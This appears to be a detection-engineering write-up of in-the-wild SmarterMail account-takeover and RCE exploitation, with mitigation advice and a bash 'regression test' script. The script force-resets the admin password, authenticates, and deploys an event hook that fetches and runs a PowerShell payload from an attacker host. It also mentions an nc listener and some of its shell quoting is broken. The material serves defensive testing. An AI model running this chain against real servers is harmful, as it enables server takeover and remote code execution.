DE&TH to Vulnerabilities: Huntress Catches SmarterMail Account Takeover Leading to RCE

Summary

Huntress observed in-the-wild abuse of two SmarterMail flaws that enable privileged account takeover and, ultimately, remote code execution. Attackers initiate unauthenticated password-reset flows to obtain a privileged token, then abuse SmarterMail “system events” to execute commands for host reconnaissance. The activity impacted multiple customers and showed signs of broad, automated exploitation at scale.

Investigation

Huntress analysts reconstructed a consistent sequence of HTTP POST requests against SmarterMail API endpoints used to trigger password resets, authenticate, configure system events, add attacker-controlled domains, and later remove traces. The chain targets CVE-2026-23760 (privileged account takeover) and CVE-2025-52691 (arbitrary file upload). Requests commonly used the python-requests/2.32.4 user-agent, and operators left behind result.txt files containing reconnaissance output from executed commands.

Mitigation

Upgrade SmarterMail to build 9511 or later to address both CVEs. Review and tighten API exposure, disable or restrict unnecessary system events, and monitor for anomalous API activity that alters accounts, events, or domains. Identify and remove any attacker-created system events and domains to eliminate persistence.

Response

Hunt for the suspicious API call pattern and the python-requests/2.32.4 user-agent, block offending source IPs, and delete malicious system events. Rotate privileged credentials immediately. Perform endpoint forensics to locate result.txt and validate whether additional payloads were staged. Notify impacted users/customers and provide clear remediation guidance.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Attack Narrative & Commands

1. Reconnaissance: Attacker discovers the SmarterMail instance runs version vulnerable to CVE‑2026‑23760.
2. Force Password Reset (T1098): Using the unauthenticated force-reset-password endpoint to set a known password for the privileged admin account.
3. Authenticate (T1078): Log in with the newly‑set credentials via the authenticate-user endpoint, obtaining a session token.
4. Deploy Malicious Event Hook (T1569): POST a crafted JSON payload to event-hook that points to a PowerShell reverse shell hosted on the attacker’s server.
5. Trigger Execution: The event‑hook runs automatically on the webserver, spawning a reverse shell to the attacker.
6. Cleanup: Remove the malicious hook via the event-hook-delete endpoint (excluded from detection).

All steps generate HTTP POST events that match the Sigma rule’s selection criteria.

Regression Test Script

#!/usr/bin/env bash
# -------------------------------------------------
# SmarterMail Account Takeover & RCE Simulation
# -------------------------------------------------
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
NEW_PASS="PwnedPass!2026"
ATTACKER_IP="10.10.14.5"
ATTACKER_PORT="4444"

# 1. Force password reset (unauthenticated)
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
     -H "Content-Type: application/json" 
     -d "{"username":"${ADMIN_USER}","newPassword":"${NEW_PASS}"}"

# 2. Authenticate and capture session token
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
        -H "Content-Type: application/json" 
        -d "{"username":"${ADMIN_USER}","password":"${NEW_PASS}"}" 
        | jq -r '.sessionToken')

# 3. Deploy malicious event‑hook (RCE)
PAYLOAD=$(cat <<EOF
{
  "event":"mail-received",
  "command":"powershell -NoP -W Hidden -Exec Bypass -Command \"Invoke-WebRequest http://${ATTACKER_IP}:${ATTACKER_PORT}/shell.ps1 -OutFile $env:TEMP\shell.ps1; powershell -ExecutionPolicy Bypass -File $env:TEMP\shell.ps1\""
}
EOF
)

curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook" 
     -H "Content-Type: application/json" 
     -H "Authorization: Bearer ${TOKEN}" 
     -d "${PAYLOAD}"

echo "[+] Malicious event‑hook deployed. Awaiting reverse shell..."

# 4. (Optional) Wait for reverse shell – attacker runs listener separately:
#    nc -lvnp ${ATTACKER_PORT}

# 5. Cleanup – remove the hook (excluded from detection)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete" 
     -H "Authorization: Bearer ${TOKEN}"

Cleanup Commands

#!/usr/bin/env bash
# Remove any residual malicious hooks and reset admin password

SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
SAFE_PASS="OriginalStrong!Pass"

# Authenticate with the safe password (if known) or use the previous token
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
        -H "Content-Type: application/json" 
        -d "{"username":"${ADMIN_USER}","password":"PwnedPass!2026"}" 
        | jq -r '.sessionToken')

# Delete the malicious event‑hook (if still present)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete" 
     -H "Authorization: Bearer ${TOKEN}"

# Reset admin password to a known good value
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
     -H "Content-Type: application/json" 
     -d "{"username":"${ADMIN_USER}","newPassword":"${SAFE_PASS}"}"